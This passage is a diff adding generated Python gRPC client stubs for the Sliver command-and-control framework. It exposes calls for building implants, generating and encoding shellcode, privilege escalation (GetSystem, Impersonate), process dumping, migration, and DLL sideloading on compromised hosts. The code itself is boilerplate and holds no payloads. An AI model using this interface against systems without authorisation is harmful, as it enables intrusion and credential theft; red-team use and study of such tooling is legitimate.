+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackFileDelete',
+ clientpb_dot_client__pb2.CrackFile.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Regenerate(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Regenerate',
+ clientpb_dot_client__pb2.RegenerateReq.SerializeToString,
+ clientpb_dot_client__pb2.Generate.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def ImplantBuilds(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ImplantBuilds',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.ImplantBuilds.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def DeleteImplantBuild(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/DeleteImplantBuild',
+ clientpb_dot_client__pb2.DeleteReq.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Canaries(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Canaries',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.Canaries.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GenerateWGClientConfig(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GenerateWGClientConfig',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.WGClientConfig.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GenerateUniqueIP(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GenerateUniqueIP',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.UniqueWGIP.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def ImplantProfiles(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ImplantProfiles',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.ImplantProfiles.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def DeleteImplantProfile(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/DeleteImplantProfile',
+ clientpb_dot_client__pb2.DeleteReq.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def SaveImplantProfile(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/SaveImplantProfile',
+ clientpb_dot_client__pb2.ImplantProfile.SerializeToString,
+ clientpb_dot_client__pb2.ImplantProfile.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def MsfStage(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MsfStage',
+ clientpb_dot_client__pb2.MsfStagerReq.SerializeToString,
+ clientpb_dot_client__pb2.MsfStager.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def ShellcodeRDI(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ShellcodeRDI',
+ clientpb_dot_client__pb2.ShellcodeRDIReq.SerializeToString,
+ clientpb_dot_client__pb2.ShellcodeRDI.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetCompiler(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetCompiler',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.Compiler.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def ShellcodeEncoder(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ShellcodeEncoder',
+ clientpb_dot_client__pb2.ShellcodeEncodeReq.SerializeToString,
+ clientpb_dot_client__pb2.ShellcodeEncode.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def ShellcodeEncoderMap(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ShellcodeEncoderMap',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.ShellcodeEncoderMap.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def TrafficEncoderMap(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/TrafficEncoderMap',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.TrafficEncoderMap.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def TrafficEncoderAdd(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/TrafficEncoderAdd',
+ clientpb_dot_client__pb2.TrafficEncoder.SerializeToString,
+ clientpb_dot_client__pb2.TrafficEncoderTests.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def TrafficEncoderRm(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/TrafficEncoderRm',
+ clientpb_dot_client__pb2.TrafficEncoder.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Websites(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Websites',
+ commonpb_dot_common__pb2.Empty.SerializeToString,
+ clientpb_dot_client__pb2.Websites.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Website(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Website',
+ clientpb_dot_client__pb2.Website.SerializeToString,
+ clientpb_dot_client__pb2.Website.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def WebsiteRemove(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WebsiteRemove',
+ clientpb_dot_client__pb2.Website.SerializeToString,
+ commonpb_dot_common__pb2.Empty.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def WebsiteAddContent(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WebsiteAddContent',
+ clientpb_dot_client__pb2.WebsiteAddContent.SerializeToString,
+ clientpb_dot_client__pb2.Website.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def WebsiteUpdateContent(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WebsiteUpdateContent',
+ clientpb_dot_client__pb2.WebsiteAddContent.SerializeToString,
+ clientpb_dot_client__pb2.Website.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def WebsiteRemoveContent(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WebsiteRemoveContent',
+ clientpb_dot_client__pb2.WebsiteRemoveContent.SerializeToString,
+ clientpb_dot_client__pb2.Website.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Ping(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Ping',
+ sliverpb_dot_sliver__pb2.Ping.SerializeToString,
+ sliverpb_dot_sliver__pb2.Ping.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Ps(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Ps',
+ sliverpb_dot_sliver__pb2.PsReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Ps.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Terminate(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Terminate',
+ sliverpb_dot_sliver__pb2.TerminateReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Terminate.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Ifconfig(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Ifconfig',
+ sliverpb_dot_sliver__pb2.IfconfigReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Ifconfig.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Netstat(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Netstat',
+ sliverpb_dot_sliver__pb2.NetstatReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Netstat.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Ls(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Ls',
+ sliverpb_dot_sliver__pb2.LsReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Ls.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Cd(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Cd',
+ sliverpb_dot_sliver__pb2.CdReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Pwd.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Pwd(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Pwd',
+ sliverpb_dot_sliver__pb2.PwdReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Pwd.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Mv(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Mv',
+ sliverpb_dot_sliver__pb2.MvReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Mv.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Rm(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Rm',
+ sliverpb_dot_sliver__pb2.RmReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Rm.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Mkdir(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Mkdir',
+ sliverpb_dot_sliver__pb2.MkdirReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Mkdir.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Download(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Download',
+ sliverpb_dot_sliver__pb2.DownloadReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Download.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Upload(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Upload',
+ sliverpb_dot_sliver__pb2.UploadReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Upload.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Chmod(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Chmod',
+ sliverpb_dot_sliver__pb2.ChmodReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Chmod.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Chown(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Chown',
+ sliverpb_dot_sliver__pb2.ChownReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Chown.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Chtimes(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Chtimes',
+ sliverpb_dot_sliver__pb2.ChtimesReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Chtimes.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def MemfilesList(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MemfilesList',
+ sliverpb_dot_sliver__pb2.MemfilesListReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Ls.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def MemfilesAdd(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MemfilesAdd',
+ sliverpb_dot_sliver__pb2.MemfilesAddReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.MemfilesAdd.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def MemfilesRm(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MemfilesRm',
+ sliverpb_dot_sliver__pb2.MemfilesRmReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.MemfilesRm.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def ProcessDump(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ProcessDump',
+ sliverpb_dot_sliver__pb2.ProcessDumpReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.ProcessDump.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RunAs(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RunAs',
+ sliverpb_dot_sliver__pb2.RunAsReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RunAs.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Impersonate(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Impersonate',
+ sliverpb_dot_sliver__pb2.ImpersonateReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Impersonate.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def RevToSelf(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RevToSelf',
+ sliverpb_dot_sliver__pb2.RevToSelfReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.RevToSelf.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def GetSystem(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetSystem',
+ clientpb_dot_client__pb2.GetSystemReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.GetSystem.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Task(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Task',
+ sliverpb_dot_sliver__pb2.TaskReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Task.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Msf(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Msf',
+ clientpb_dot_client__pb2.MSFReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Task.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def MsfRemote(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MsfRemote',
+ clientpb_dot_client__pb2.MSFRemoteReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Task.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def ExecuteAssembly(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ExecuteAssembly',
+ sliverpb_dot_sliver__pb2.ExecuteAssemblyReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.ExecuteAssembly.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Migrate(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Migrate',
+ clientpb_dot_client__pb2.MigrateReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Migrate.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Execute(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Execute',
+ sliverpb_dot_sliver__pb2.ExecuteReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Execute.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def ExecuteWindows(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ExecuteWindows',
+ sliverpb_dot_sliver__pb2.ExecuteWindowsReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Execute.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Sideload(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Sideload',
+ sliverpb_dot_sliver__pb2.SideloadReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Sideload.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def SpawnDll(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/SpawnDll',
+ sliverpb_dot_sliver__pb2.InvokeSpawnDllReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.SpawnDll.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def Screenshot(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Screenshot',
+ sliverpb_dot_sliver__pb2.ScreenshotReq.SerializeToString,
+ sliverpb_dot_sliver__pb2.Screenshot.FromString,
+ options, channel_credentials,
+ insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+ @staticmethod
+ def CurrentTokenOwner(request,
+ target,
+ options=(),
+ channel_credentials=None,
+ call_credentials=None,
+ insecure=False,
+ compression=None,
+ wait_for_ready=None,
+ timeout=None,
+ metadata=None):
+ return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CurrentTokenOwner',
